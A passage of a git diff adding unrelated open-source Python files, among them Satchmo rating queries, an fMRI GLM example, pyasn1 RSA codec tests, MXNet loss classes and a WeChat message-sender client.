', 'class VOXIECLIENT_EXPORT ', s) if ': public' in s else s for s in adaptorsHeader.split('\n')]) + +with open(proxiesHeaderFilename + '.new', 'w', encoding='utf-8') as file: + file.write(proxiesHeader) +with open(proxiesFilename + '.new', 'w', encoding='utf-8') as file: + file.write(proxies) +with open(adaptorsHeaderFilename + '.new', 'w', encoding='utf-8') as file: + file.write(adaptorsHeader) + +codegen_utils.formatAndRename(proxiesHeaderFilename) +codegen_utils.formatAndRename(proxiesFilename) +codegen_utils.formatAndRename(adaptorsHeaderFilename) diff --git a/pool/shard008/Python/0077629_queries.py b/pool/shard008/Python/0077629_queries.py new file mode 100644 index 0000000000000000000000000000000000000000..c61dfaa6326dccb724d2e8ac3dfb3228fb167d71 --- /dev/null +++ b/pool/shard008/Python/0077629_queries.py @@ -0,0 +1,85 @@ +"""Product queries using ratings.""" +from django.contrib.comments.models import Comment +from django.contrib.sites.models import Site +from satchmo.caching import cache_get, cache_set, NotCachedError +from satchmo.configuration import config_value +from satchmo.product.models import Product +from satchmo.productratings.utils import average +import logging +import math + +log = logging.getLogger('product.comments.queries') + +def highest_rated(count=0, site=None): + """Get the most highly rated products""" + if site is None: + site = Site.objects.get_current() + + site_id = site.id + + try: + pks = cache_get("BESTRATED", site=site_id, count=count) + pks = [pk for pk in pks.split(',')] + log.debug('retrieved highest rated products from cache') + + except NotCachedError, nce: + # here were are going to do just one lookup for all product comments + + comments = Comment.objects.filter(content_type__app_label__exact='product', + content_type__model__exact='product', + site__id__exact=site_id, + productrating__rating__gt=0, + is_public__exact=True).order_by('object_pk') + + # then make lists of ratings for each + commentdict = {} + for comment in comments: + if hasattr(comment, 'productrating'): + rating = comment.productrating.rating + if rating>0: + commentdict.setdefault(comment.object_pk, []).append(rating) + + # now take the average of each, and make a nice list suitable for sorting + ratelist = [(average(ratings), int(pk)) for pk, ratings in commentdict.items()] + ratelist.sort() + #log.debug(ratelist) + + # chop off the highest and reverse so highest is the first + ratelist = ratelist[-count:] + ratelist.reverse() + + pks = ["%i" % p[1] for p in ratelist] + pkstring = ",".join(pks) + log.debug('calculated highest rated products, set to cache: %s', pkstring) + cache_set(nce.key, value=pkstring) + + if pks: + pks = [pk for pk in pks if _int_or_long(pk)] + productdict = Product.objects.in_bulk(pks) + products = [] + for pk in pks: + try: + if (int(pk)) in productdict: + key = int(pk) + elif long(pk) in productdict: + key = long(pk) + else: + continue + products.append(productdict[key]) + except ValueError: + pass + else: + products = [] + + return products + + +def _int_or_long(v): + try: + v = int(v) + except ValueError: + try: + v = long(v) + except ValueError: + return False + return True \ No newline at end of file diff --git a/pool/shard008/Python/0077646_plot_fiac_analysis.py b/pool/shard008/Python/0077646_plot_fiac_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..157bbe1d863fb83d57aaf8eb845c61011fce40f2 --- /dev/null +++ b/pool/shard008/Python/0077646_plot_fiac_analysis.py @@ -0,0 +1,149 @@ +"""Simple example of two-session fMRI model fitting +================================================ + +Full step-by-step example of fitting a GLM to experimental data and visualizing +the results. This is done on two runs of one subject of the FIAC dataset. + +For details on the data, please see: + +Dehaene-Lambertz G, Dehaene S, Anton JL, Campagne A, Ciuciu P, Dehaene +G, Denghien I, Jobert A, LeBihan D, Sigman M, Pallier C, Poline +JB. Functional segregation of cortical language areas by sentence +repetition. Hum Brain Mapp. 2006: 27:360--371. +http://www.pubmedcentral.nih.gov/articlerender.fcgi?artid=2653076#R11 + +More specifically: + +1. A sequence of fMRI volumes are loaded +2. A design matrix describing all the effects related to the data is computed +3. a mask of the useful brain volume is computed +4. A GLM is applied to the dataset (effect/covariance, + then contrast estimation) + +Technically, this example shows how to handle two sessions that +contain the same experimental conditions. The model directly returns a +fixed effect of the statistics across the two sessions. + +""" + + +############################################################################### +# Create a write directory to work +# it will be a 'results' subdirectory of the current directory. +from os import mkdir, path, getcwd +write_dir = path.join(getcwd(), 'results') +if not path.exists(write_dir): + mkdir(write_dir) + +######################################################################### +# Prepare data and analysis parameters +# -------------------------------------- +# +# Note that there are two sessions + +from nistats import datasets +data = datasets.fetch_fiac_first_level() +fmri_img = [data['func1'], data['func2']] + +######################################################################### +# Create a mean image for plotting purpose +from nilearn.image import mean_img +mean_img_ = mean_img(fmri_img[0]) + +######################################################################### +# The design matrices were pre-computed, we simply put them in a list of DataFrames +design_files = [data['design_matrix1'], data['design_matrix2']] +import pandas as pd +import numpy as np +design_matrices = [pd.DataFrame(np.load(df)['X']) for df in design_files] + +######################################################################### +# GLM estimation +# ---------------------------------- +# GLM specification. Note that the mask was provided in the dataset. So we use it. + +from nistats.first_level_model import FirstLevelModel +fmri_glm = FirstLevelModel(mask_img=data['mask'], minimize_memory=True) + +######################################################################### +# GLM fitting +fmri_glm = fmri_glm.fit(fmri_img, design_matrices=design_matrices) + +######################################################################### +# Compute fixed effects of the two runs and compute related images +# For this, we first define the contrasts as we would do for a single session +n_columns = design_matrices[0].shape[1] + +def pad_vector(contrast_, n_columns): + """A small routine to append zeros in contrast vectors""" + return np.hstack((contrast_, np.zeros(n_columns - len(contrast_)))) + +######################################################################### +# Contrast specification + +contrasts = {'SStSSp_minus_DStDSp': pad_vector([1, 0, 0, -1], n_columns), + 'DStDSp_minus_SStSSp': pad_vector([-1, 0, 0, 1], n_columns), + 'DSt_minus_SSt': pad_vector([-1, -1, 1, 1], n_columns), + 'DSp_minus_SSp': pad_vector([-1, 1, -1, 1], n_columns), + 'DSt_minus_SSt_for_DSp': pad_vector([0, -1, 0, 1], n_columns), + 'DSp_minus_SSp_for_DSt': pad_vector([0, 0, -1, 1], n_columns), + 'Deactivation': pad_vector([-1, -1, -1, -1, 4], n_columns), + 'Effects_of_interest': np.eye(n_columns)[:5]} + +######################################################################### +# Compute and plot statistics + +from nilearn import plotting +print('Computing contrasts...') +for index, (contrast_id, contrast_val) in enumerate(contrasts.items()): + print(' Contrast % 2i out of %i: %s' % ( + index + 1, len(contrasts), contrast_id)) + # estimate the contasts + # note that the model implictly compute a fixed effects across the two sessions + z_map = fmri_glm.compute_contrast( + contrast_val, output_type='z_score') + + # Write the resulting stat images to file + z_image_path = path.join(write_dir, '%s_z_map.nii.gz' % contrast_id) + z_map.to_filename(z_image_path) + +######################################################################### +# Comparing session-specific and fixed effects. +# Here, we compare the activation mas produced from each separately then, the fixed effects version + +contrast_id = 'Effects_of_interest' + +######################################################################### +# Statistics for the first session + +fmri_glm = fmri_glm.fit(fmri_img[0], design_matrices=design_matrices[0]) +z_map = fmri_glm.compute_contrast( + contrasts[contrast_id], output_type='z_score') +plotting.plot_stat_map( + z_map, bg_img=mean_img_, threshold=3.0, + title='%s, first session' % contrast_id) + +######################################################################### +# Statistics for the second session + +fmri_glm = fmri_glm.fit(fmri_img[1], design_matrices=design_matrices[1]) +z_map = fmri_glm.compute_contrast( + contrasts[contrast_id], output_type='z_score') +plotting.plot_stat_map( + z_map, bg_img=mean_img_, threshold=3.0, + title='%s, second session' % contrast_id) + +######################################################################### +# Fixed effects statistics + +fmri_glm = fmri_glm.fit(fmri_img, design_matrices=design_matrices) +z_map = fmri_glm.compute_contrast( + contrasts[contrast_id], output_type='z_score') +plotting.plot_stat_map( + z_map, bg_img=mean_img_, threshold=3.0, + title='%s, fixed effects' % contrast_id) + +######################################################################### +# Not unexpectedly, the fixed effects version looks displays higher peaks than the input sessions. Computing fixed effects enhances the signal-to-noise ratio of the resulting brain maps + +plotting.show() diff --git a/pool/shard008/Python/0077647_test_rfc8017.py b/pool/shard008/Python/0077647_test_rfc8017.py new file mode 100644 index 0000000000000000000000000000000000000000..9601997f1daa6ba5fd639c61aceaaeedd8e0f26f --- /dev/null +++ b/pool/shard008/Python/0077647_test_rfc8017.py @@ -0,0 +1,125 @@ +# +# This file is part of pyasn1-modules software. +# +# Created by Russ Housley +# Copyright (c) 2019, Vigil Security, LLC +# License: http://snmplabs.com/pyasn1/license.html +# +import sys +import unittest + +from pyasn1.codec.der.decoder import decode as der_decoder +from pyasn1.codec.der.encoder import encode as der_encoder +from pyasn1.type import univ + +from pyasn1_modules import pem +from pyasn1_modules import rfc5280 +from pyasn1_modules import rfc8017 +from pyasn1_modules import rfc2985 + + +class SMIMECapabilitiesTestCase(unittest.TestCase): + smime_capabilities_pem_text = """\ +MIIBAzA8BgkqhkiG9w0BAQcwL6APMA0GCWCGSAFlAwQCAgUAoRwwGgYJKoZIhvcN +AQEIMA0GCWCGSAFlAwQCAgUAMDwGCSqGSIb3DQEBCjAvoA8wDQYJYIZIAWUDBAIC +BQChHDAaBgkqhkiG9w0BAQgwDQYJYIZIAWUDBAICBQAwDQYJKoZIhvcNAQECBQAw +DQYJKoZIhvcNAQEEBQAwDQYJKoZIhvcNAQEFBQAwDQYJKoZIhvcNAQEOBQAwDQYJ +KoZIhvcNAQELBQAwDQYJKoZIhvcNAQEMBQAwDQYJKoZIhvcNAQENBQAwDQYJKoZI +hvcNAQEPBQAwDQYJKoZIhvcNAQEQBQA= +""" + + def setUp(self): + self.asn1Spec = rfc2985.SMIMECapabilities() + + def testDerCodec(self): + substrate = pem.readBase64fromText(self.smime_capabilities_pem_text) + asn1Object, rest = der_decoder(substrate, asn1Spec=self.asn1Spec) + + self.assertFalse(rest) + self.assertTrue(asn1Object.prettyPrint()) + self.assertEqual(substrate, der_encoder(asn1Object)) + + for cap in asn1Object: + self.assertIn(cap['algorithm'], rfc5280.algorithmIdentifierMap) + + if cap['parameters'].hasValue(): + p, rest = der_decoder( + cap['parameters'], + asn1Spec=rfc5280.algorithmIdentifierMap[cap['algorithm']]) + + self.assertFalse(rest) + if not p == univ.Null(""): + self.assertTrue(p.prettyPrint()) + self.assertEqual(cap['parameters'], der_encoder(p)) + + if cap['algorithm'] == rfc8017.id_RSAES_OAEP: + self.assertEqual( + rfc8017.id_sha384, p['hashFunc']['algorithm']) + self.assertEqual( + rfc8017.id_mgf1, p['maskGenFunc']['algorithm']) + + def OpenTypesCodec(self): + substrate = pem.readBase64fromText(self.smime_capabilities_pem_text) + asn1Object, rest = der_decoder( + substrate, asn1Spec=self.asn1Spec, decodeOpenTypes=True) + + self.assertFalse(rest) + self.assertTrue(asn1Object.prettyPrint()) + self.assertEqual(substrate, der_encoder(asn1Object)) + + for cap in asn1Object: + if cap['algorithm'] == rfc8017.id_RSAES_OAEP: + p = cap['parameters'] + self.assertEqual( + rfc8017.id_sha384, p['hashFunc']['algorithm']) + self.assertEqual( + rfc8017.id_mgf1, p['maskGenFunc']['algorithm']) + + +class MultiprimeRSAPrivateKeyTestCase(unittest.TestCase): + pem_text = """\ +MIIE2QIBAQKCAQEAn82EqwXasE2TFNSmZucB8LNza2mOWLHF3nxpxKXalPMDvezc +5Dq7Ytcv/k9jJL4j4jYfvR4yyZdU9iHLaD6hOINZ8E6hVpx/4c96ZUSOLzD2g+u+ +jIuoNfG+zygSBGYCS6BLCAIsZ+2wUyxYpLJknHJld9/jy+aLmmyrilhH9dH5AUiV +3NeWht/68++dMXf4ZI/gV4bMSlWhggxkz2WJJpiQdCdJatGkwNDkHmLA9X0tC6OH +SPE7qYdxG38cYS5F445SgnhDpiK7BodSqYLwgehaDjoOYdEgHVnOcpBCDI5zCJSL +b1c/z8uhrB1xxlECR44wCLcKsIIYQxaEErRJ/wIDAQABAoIBAD+Ra5L0szeqxDVn +GgKZJkZvvBwgU0WpAgMtDo3xQ/A4c2ab0IrhaiU5YJgTUGcPVArqaNm8J4vVrTBz +5QxEzbFDXwWe4cMoYh6bgB7ElKLlIUr8/kGZUfgc7kI29luEjcAIEAC2/RQHesVn +DHkL5OzqZL+4fIwckAMh0tXdflsPgZ/jgIaKca4OqKu4KGnczm3UvqtlvwisAjkx +zMyfZXOLn0vEwP2bfbhQrCVrP7n6a+CV+Kqm8NBWnbiS6x2rWemVVssNTbfXQztq +wC6ZJZCLK7plciDBWvHcS6vxdcsS9DUxuqSV6o/stCGTl1D+9tDx8Od0Eunna2B2 +wAoRHZECVgbNO1bqwfYpp5aFuySWoP+KZz8f/5ZkHjLwiNGpQcqVd4+7Ql2R4qgF +NgSoQQOZFhKtiOeLVU0HYfp6doI4waSINZdF/fJDHD6fY3AMOc/IIMDHHIzbAlYG +vKOocLXWj/2+gcyQ1XoAmrE70aIFUBLSvd7RCi8GI74zYWp5lCSvO850Z4GsWSZT +41iF13sTDDJPm3+BbzMvEu2GuACi/8/IpbUr24/FP9Cp1Rf7kwJWAgMxfoshbrNu +ebQB5laHNnT+DYhrOFVRNiNDaD2bUNSetrFidosWtD4ueHxMGENwa4BbFJ9+UrdP +fyxC6k7exM7khGjaNZczwTep1VpYtKjzP/bp9KcCVgYoj9s9HZ1FCAsNEPodjGfd +AcPTQS9mIa7wzy19B7uvFQJXPURi/p4KKBMVQ99Pp8/r9lJzxxiEf8FyPr8N7lZM +EUKkFkDrZQDhKpsrHWSNj6yRFlltAlYC7dYR8KLEWoOUATLosxQhwgypv+23r+d4 +ZdPOdDv9n8Kmj+NFy/oISFfdXzlOU4RWQtMx3hEwAabwct7vjiJEej/kmiTqco02 +17tt13VvvQ5ZXF73dDCCAQwwggEIAlYDfMpM1WNfxcLLOgkRZ+0S9OvIrEOi0ALV +SquTdi/thhCuCsK3lMD4miN9te8j16YtqEFVWXC3a6DWwIJ6m/xZ50bBwPqM8RsI +6FWhZw4Dr5VqjYXUvwJWAvapRk9SydDYri/cAtGIkUJVlspkE1emALAaSw30vmfd +hrgYLT6YGOmK3UmcNJ4NVeET275MXWF1ZOhkOGKTN6aj5wPhJaHBMnmUQrq7GwC6 +/LfUkSsCVgMCDTV9gbFW8u6TcTVW85dBIeUGxZh1T2pbU3dkGO3IOxOhzJUplH4/ +EeEs9dusHakg1ERXAg4Vo1YowPW8kuVbZ9faxeVrmuER5NcCuZzS5X/obGUw +""" + + def setUp(self): + self.asn1Spec = rfc8017.RSAPrivateKey() + + def testDerCodec(self): + substrate = pem.readBase64fromText(self.pem_text) + asn1Object, rest = der_decoder(substrate, asn1Spec=self.asn1Spec) + + self.assertFalse(rest) + self.assertTrue(asn1Object.prettyPrint()) + self.assertEqual(substrate, der_encoder(asn1Object)) + + +suite = unittest.TestLoader().loadTestsFromModule(sys.modules[__name__]) + +if __name__ == '__main__': + result = unittest.TextTestRunner(verbosity=2).run(suite) + sys.exit(not result.wasSuccessful()) diff --git a/pool/shard008/Python/0077652_test_gardenersworld.py b/pool/shard008/Python/0077652_test_gardenersworld.py new file mode 100644 index 0000000000000000000000000000000000000000..036bd71e72c891958caf448b3a1087cb6dc034bd --- /dev/null +++ b/pool/shard008/Python/0077652_test_gardenersworld.py @@ -0,0 +1,19 @@ +import unittest + +from streamlink.plugins.gardenersworld import GardenersWorld + + +class TestPluginGardenersWorld(unittest.TestCase): + def test_can_handle_url(self): + should_match = [ + 'http://www.gardenersworld.com/', + ] + for url in should_match: + self.assertTrue(GardenersWorld.can_handle_url(url)) + + def test_can_handle_url_negative(self): + should_not_match = [ + 'https://example.com/index.html', + ] + for url in should_not_match: + self.assertFalse(GardenersWorld.can_handle_url(url)) diff --git a/pool/shard008/Python/0077653_common.py b/pool/shard008/Python/0077653_common.py new file mode 100644 index 0000000000000000000000000000000000000000..a747fddbc48533da1441e204a9c2f2f50eb44bad --- /dev/null +++ b/pool/shard008/Python/0077653_common.py @@ -0,0 +1,53 @@ +import struct + +class switch(object): #Taken from http://code.activestate.com/recipes/410692/ + def __init__(self, value): + self.value = value + self.fall = False + + def __iter__(self): + """Return the match method once, then stop""" + yield self.match + raise StopIteration + + def match(self, *args): + """Indicate whether or not to enter a case suite""" + if self.fall or not args: + return True + elif self.value in args: + self.fall = True + return True + else: + return False +'''Example Use Case for switch: +for case in switch(variable): + if case(0): + #dostuff + elif case(1): + #dostuff + else: #default + #dodefaultstuff''' + +def hexstr(data, length): #Pad hex to value for prettyprint + return hex(data).lstrip("0x").rstrip("L").zfill(length).upper() +def hexstr0(data): #Uppercase hex to string + return "0x" + hex(data).lstrip("0x").rstrip("L").upper() +def binr(byte): #Get bits as a string + return bin(byte).lstrip("0b").zfill(8) +def uint8(data, pos): + return struct.unpack(">B", data[pos:pos + 1])[0] +def uint16(data, pos): + return struct.unpack(">H", data[pos:pos + 2])[0] +def uint24(data, pos): + return struct.unpack(">I", "\00" + data[pos:pos + 3])[0] #HAX +def uint32(data, pos): + return struct.unpack(">I", data[pos:pos + 4])[0] + +def getstr(data, pos): #Keep incrementing till you hit a stop + string = "" + while data[pos] != 0: + if pos != len(data): + string += chr(data[pos]) + pos += 1 + else: break + return string diff --git a/pool/shard008/Python/0077658_loss.py b/pool/shard008/Python/0077658_loss.py new file mode 100644 index 0000000000000000000000000000000000000000..7cc1bcfbdd7fb59e89840b8c7d46c4d931069cfe --- /dev/null +++ b/pool/shard008/Python/0077658_loss.py @@ -0,0 +1,216 @@ +# coding: utf-8 +# pylint: disable=arguments-differ +""" losses for training neural networks """ +from __future__ import absolute_import + +from .. import symbol, ndarray +from ..base import numeric_types +from .block import HybridBlock + +def _apply_weighting(F, loss, weight=None, sample_weight=None): + """Apply weighting to loss. + + Parameters + ---------- + loss : Symbol + The loss to be weighted. + weight : float or None + Global scalar weight for loss. + sample_weight : Symbol or None + Per sample weighting. Must be broadcastable to + the same shape as loss. For example, if loss has + shape (64, 10) and you want to weight each sample + in the batch separately, `sample_weight` should have + shape (64, 1). + + Returns + ------- + loss : Symbol + Weighted loss + """ + if sample_weight is not None: + loss = F.broadcast_mul(loss, sample_weight) + + if weight is not None: + assert isinstance(weight, numeric_types), "weight must be a number" + loss = loss * weight + + return loss + + +class L2Loss(HybridBlock): + """Calculates the mean squared error between output and label: + + .. math:: + L = \\frac{1}{2}\\sum_i \\Vert {output}_i - {label}_i \\Vert^2. + + Output and label can have arbitrary shape as long as they have the same + number of elements. + + Parameters + ---------- + weight : float or None + Global scalar weight for loss. + sample_weight : Symbol or None + Per sample weighting. Must be broadcastable to + the same shape as loss. For example, if loss has + shape (64, 10) and you want to weight each sample + in the batch, `sample_weight` should have shape (64, 1). + batch_axis : int, default 0 + The axis that represents mini-batch. + """ + def __init__(self, weight=1., batch_axis=0, **kwargs): + super(L2Loss, self).__init__(**kwargs) + self._weight = weight + self._batch_axis = batch_axis + + def hybrid_forward(self, F, output, label, sample_weight=None): + if F is ndarray: + loss = ndarray.square(output - label.reshape(output.shape)) + else: + # for symbolic output.shape is not available so we reshape + # to empty shape and let it be inferred from output's shape + # via the '-' operator later. + loss = symbol.square(output - label.reshape(())) + loss = _apply_weighting(F, loss, self._weight/2, sample_weight) + return F.mean(loss, axis=self._batch_axis, exclude=True) + + +class L1Loss(HybridBlock): + """Calculates the mean absolute error between output and label: + + .. math:: + L = \\frac{1}{2}\\sum_i \\vert {output}_i - {label}_i \\vert. + + Output and label must have the same shape. + + Parameters + ---------- + weight : float or None + Global scalar weight for loss. + sample_weight : Symbol or None + Per sample weighting. Must be broadcastable to + the same shape as loss. For example, if loss has + shape (64, 10) and you want to weight each sample + in the batch, `sample_weight` should have shape (64, 1). + batch_axis : int, default 0 + The axis that represents mini-batch. + """ + def __init__(self, weight=None, batch_axis=0, **kwargs): + super(L1Loss, self).__init__(**kwargs) + self._weight = weight + self._batch_axis = batch_axis + + def hybrid_forward(self, F, output, label, sample_weight=None): + if F is ndarray: + loss = ndarray.abs(output - label.reshape(output.shape)) + else: + # for symbolic output.shape is not available so we reshape + # to empty shape and let it be inferred from output's shape + # via the '-' operator later. + loss = symbol.abs(output - label.reshape(())) + loss = _apply_weighting(F, loss, self._weight, sample_weight) + return F.mean(loss, axis=self._batch_axis, exclude=True) + + +class SoftmaxCrossEntropyLoss(HybridBlock): + """Computes the softmax cross entropy loss. + + If `sparse_label` is `True`, label should contain integer category indicators: + + .. math:: + p = {softmax}({output}) + + L = -\\sum_i {log}(p_{i,{label}_i}) + + Label's shape should be output's shape without the `axis` dimension. i.e. for + `output.shape` = (1,2,3,4) and axis = 2, `label.shape` should be (1,2,4). + + If `sparse_label` is `False`, label should contain probability distribution + with the same shape as output: + + .. math:: + p = {softmax}({output}) + + L = -\\sum_i \\sum_j {label}_j {log}(p_{ij}) + + Parameters + ---------- + axis : int, default -1 + The axis to sum over when computing softmax and entropy. + sparse_label : bool, default True + Whether label is an integer array instead of probability distribution. + from_logits : bool, default False + Whether input is a log probability (usually from log_softmax) instead + of unnormalized numbers. + weight : float or None + Global scalar weight for loss. + sample_weight : Symbol or None + Per sample weighting. Must be broadcastable to + the same shape as loss. For example, if loss has + shape (64, 10) and you want to weight each sample + in the batch, `sample_weight` should have shape (64, 1). + batch_axis : int, default 0 + The axis that represents mini-batch. + """ + def __init__(self, axis=-1, sparse_label=True, from_logits=False, weight=None, + batch_axis=0, **kwargs): + super(SoftmaxCrossEntropyLoss, self).__init__(**kwargs) + self._axis = axis + self._sparse_label = sparse_label + self._from_logits = from_logits + self._weight = weight + self._batch_axis = batch_axis + + def hybrid_forward(self, F, output, label, sample_weight=None): + if not self._from_logits: + output = F.log_softmax(output) + if self._sparse_label: + loss = -F.pick(output, label, axis=self._axis, keepdims=True) + else: + loss = -F.sum(output*label, axis=self._axis, keepdims=True) + loss = _apply_weighting(F, loss, self._weight, sample_weight) + return F.mean(loss, axis=self._batch_axis, exclude=True) + + +class KLDivLoss(HybridBlock): + """The Kullback-Leibler divergence loss. + + KL divergence is a useful distance measure for continuous distributions + and is often useful when performing direct regression over the space of + (discretely sampled) continuous output distributions. + + .. _Kullback-Leibler divergence: + https://en.wikipedia.org/wiki/Kullback-Leibler_divergence + .. math:: + L = 1/n \\sum_i (label_i * (log(label_i) - output_i)) + + Label's shape should be the same as output's. + + Parameters + ---------- + from_logits : bool, default is `True` + Whether the input is log probability (usually from log_softmax) instead + of unnormalized numbers. + weight : float or None + Global scalar weight for loss. + sample_weight : Symbol or None + Per sample weighting. Must be broadcastable to + the same shape as loss. For example, if loss has + shape (64, 10) and you want to weight each sample + in the batch, `sample_weight` should have shape (64, 1). + batch_axis : int, default 0 + The axis that represents mini-batch. + """ + def __init__(self, from_logits=True, weight=None, batch_axis=0, **kwargs): + super(KLDivLoss, self).__init__(**kwargs) + self._from_logits = from_logits + self._weight = weight + self._batch_axis = batch_axis + + def hybrid_forward(self, F, output, label, sample_weight=None): + if not self._from_logits: + output = F.log_softmax(output) + loss = label * (F.log(label+1e-8) - output) + loss = _apply_weighting(F, loss, self._weight, sample_weight) + return F.mean(loss, axis=self._batch_axis, exclude=True) diff --git a/pool/shard008/Python/0077663_getUnitCost.py b/pool/shard008/Python/0077663_getUnitCost.py new file mode 100644 index 0000000000000000000000000000000000000000..9f11bf31926e978aabdcc58e011deb710a65640f --- /dev/null +++ b/pool/shard008/Python/0077663_getUnitCost.py @@ -0,0 +1,41 @@ +# -*- coding: utf-8 -*- +# code for console Encoding difference. Dont' mind on it +import sys +import imp + +imp.reload(sys) +try: + sys.setdefaultencoding('UTF8') +except Exception as E: + pass + +import testValue + +from popbill import MessageService, PopbillException + +messageService = MessageService(testValue.LinkID, testValue.SecretKey) +messageService.IsTest = testValue.IsTest +messageService.IPRestrictOnOff = testValue.IPRestrictOnOff +messageService.UseStaticIP = testValue.UseStaticIP +messageService.UseLocalTimeYN = testValue.UseLocalTimeYN + +''' +문자메시지 전송단가를 확인합니다. +- https://docs.popbill.com/message/python/api#GetUnitCost +''' + +try: + print("=" * 15 + " 문자메시지 전송단가 확인 " + "=" * 15) + + # 팝빌회원 아이디 + CorpNum = testValue.testCorpNum + + # 문자전송유형, SMS(단문) / LMS(장문) / MMS(포토) + MsgType = "SMS" + + unitCost = messageService.getUnitCost(CorpNum, MsgType) + + print(MsgType + " 전송단가 : %d" % unitCost) + +except PopbillException as PE: + print("Exception Occur : [%d] %s" % (PE.code, PE.message)) diff --git a/pool/shard008/Python/0077664_sender.py b/pool/shard008/Python/0077664_sender.py new file mode 100644 index 0000000000000000000000000000000000000000..bdd710ed26fe30f450be2a011085be12b26b8fde --- /dev/null +++ b/pool/shard008/Python/0077664_sender.py @@ -0,0 +1,203 @@ +# coding: utf-8 +from __future__ import unicode_literals +from __future__ import absolute_import + +import json + +import datetime +import requests +import logging + +from wechat_sender.utils import STATUS_SUCCESS, DEFAULT_REMIND_TIME +from wechat_sender.compatible import PY2, SYS_ENCODE +from functools import reduce + + +class Sender(object): + """ + sender 对象,任何外部程序向微信发送消息都需要初始化 sender 对象:: + + from wechat_sender import Sender + sender = Sender(token='test', receiver='wechat_name,xxx,xxx') + + # 向 receiver 发送消息 + sender.send('Hello From Wechat Sender') + + """ + + def __init__(self, token=None, receivers=None, host='http://localhost', port=10245): + """ + :param token: (选填|str) - 信令,如果不为空请保持和 listen 中的 token 一致 + :param receivers: (选填|str) - 接收者,wxpy 的 puid 或 微信名、昵称等,多个发送者请使用半角逗号 ',' 分隔。不填将发送至 default_receiver + :param host: (选填|str) - 远程地址,本地调用不用填写 + :param port: (选填|int) - 发送端口,默认 10245 端口,如不为空请保持和 listen 中的 port 一致 + """ + self.token = token + if isinstance(receivers, list): + self.receivers = ','.join(receivers) + else: + self.receivers = receivers + self.host = host + self.port = port + self.remote = '{0}:{1}/'.format(self.host, self.port) + self.data = {} + self.timeout = 5 + + def _wrap_post_data(self, **kwargs): + self.data = kwargs + if self.token: + self.data['token'] = self.token + if self.receivers: + self.data['receivers'] = self.receivers + return self.data + + def _convert_bytes(self, msg): + if not PY2: + if isinstance(msg, bytes): + return str(msg, encoding=SYS_ENCODE) + return msg + + def send(self, message): + """ + 发送基本文字消息 + + :param message: (必填|str) - 需要发送的文本消息 + :return: * status:发送状态,True 发送成,False 发送失败 + * message:发送失败详情 + """ + url = '{0}message'.format(self.remote) + data = self._wrap_post_data(content=message) + res = requests.post(url, data=data, timeout=self.timeout) + if res.status_code == requests.codes.ok: + res_data = json.loads(self._convert_bytes(res.content)) + if res_data.get('status') == STATUS_SUCCESS: + return True, res_data.get('message') + return False, res_data.get('message') + res.raise_for_status() + return False, 'Request or Response Error' + + def delay_send(self, content, time, title='', remind=DEFAULT_REMIND_TIME): + """ + 发送延时消息 + + :param content: (必填|str) - 需要发送的消息内容 + :param time: (必填|str|datetime) - 发送消息的开始时间,支持 datetime.date、datetime.datetime 格式或者如 '2017-05-21 10:00:00' 的字符串 + :param title: (选填|str) - 需要发送的消息标题 + :param remind: (选填|int|datetime.timedelta) - 消息提醒时移,默认 1 小时,即早于 time 值 1 小时发送消息提醒, 支持 integer(毫秒) 或 datetime.timedelta + :return: * status:发送状态,True 发送成,False 发送失败 + * message:发送失败详情 + """ + url = '{0}delay_message'.format(self.remote) + if isinstance(time, (datetime.datetime, datetime.date)): + time = time.strftime('%Y-%m-%d %H:%M:%S') + if isinstance(remind, datetime.timedelta): + remind = int(remind.total_seconds()) + if not isinstance(remind, int): + raise ValueError + data = self._wrap_post_data(title=title, content=content, time=time, remind=remind) + res = requests.post(url, data=data, timeout=self.timeout) + if res.status_code == requests.codes.ok: + res_data = json.loads(self._convert_bytes(res.content)) + if res_data.get('status') == STATUS_SUCCESS: + return True, res_data.get('message') + return False, res_data.get('message') + res.raise_for_status() + return False, 'Request or Response Error' + + def periodic_send(self, content, interval, title=''): + """ + 发送周期消息 + + :param content: (必填|str) - 需要发送的消息内容 + :param interval: (必填|int|datetime.timedelta) - 发送消息间隔时间,支持 datetime.timedelta 或 integer 表示的秒数 + :param title: (选填|str) - 需要发送的消息标题 + :return: * status:发送状态,True 发送成,False 发送失败 + * message:发送失败详情 + """ + url = '{0}periodic_message'.format(self.remote) + if isinstance(interval, datetime.timedelta): + interval = int(interval.total_seconds()) + if not isinstance(interval, int): + raise ValueError + data = self._wrap_post_data(title=title, content=content, interval=interval) + res = requests.post(url, data, timeout=self.timeout) + if res.status_code == requests.codes.ok: + res_data = json.loads(self._convert_bytes(res.content)) + if res_data.get('status') == STATUS_SUCCESS: + return True, res_data.get('message') + return False, res_data.get('message') + res.raise_for_status() + return False, 'Request or Response Error' + + def send_to(self, content, search): + """ + 向指定好友发送消息 + + :param content: (必填|str) - 需要发送的消息内容 + :param search: (必填|str|dict|list)-搜索对象,同 wxpy.chats.search 使用方法一样。例如,可以使用字符串进行搜索好友或群,或指定具体属性搜索,如 puid=xxx 的字典 + :return: * status:发送状态,True 发送成,False 发送失败 + * message:发送失败详情 + """ + url = '{0}send_to_message'.format(self.remote) + if isinstance(search, dict): + search = json.dumps(search) + elif isinstance(search, list): + search = reduce(lambda x, y: '{0} {1}'.format(x, y), search) + data = self._wrap_post_data(content=content, search=search) + res = requests.post(url, data=data, timeout=self.timeout) + if res.status_code == requests.codes.ok: + res_data = json.loads(self._convert_bytes(res.content)) + if res_data.get('status') == STATUS_SUCCESS: + return True, res_data.get('message') + return False, res_data.get('message') + res.raise_for_status() + return False, 'Request or Response Error' + + +class LoggingSenderHandler(logging.Handler, Sender): + """ + wechat_sender 的 LoggingHandler 对象,可以使用 logging.addHandler() 的方式快速使外部应用支持微信日志输出。在外部应用中:: + + # spider.py + # 假如在一个爬虫脚本,我们想让此脚本的警告信息直接发到微信 + + import logging + from wechat_sender import LoggingSenderHandler + + logger = logging.getLogger(__name__) + + # spider code here + def test_spider(): + ... + logger.exception("EXCEPTION: XXX") + + def init_logger(): + sender_logger = LoggingSenderHandler('spider', level=logging.EXCEPTION) + logger.addHandler(sender_logger) + + if __name__ == '__main__': + init_logger() + test_spider() + + """ + + def __init__(self, name=None, token=None, receiver=None, host='http://localhost', port=10245, level=30): + """ + :param name: (选填|str) - 标识日志来源,不填将取应用所在服务器地址为名称 + :param token: (选填|str) - 信令,如果不为空请保持和 listen 中的 token 一致 + :param receiver: (选填|str) - 接收者,wxpy 的 puid 或 微信名、昵称等,不填将发送至 default_receiver + :param host: (选填|str) - 远程地址,本地调用不用填写 + :param port: (选填|int) - 发送端口,默认 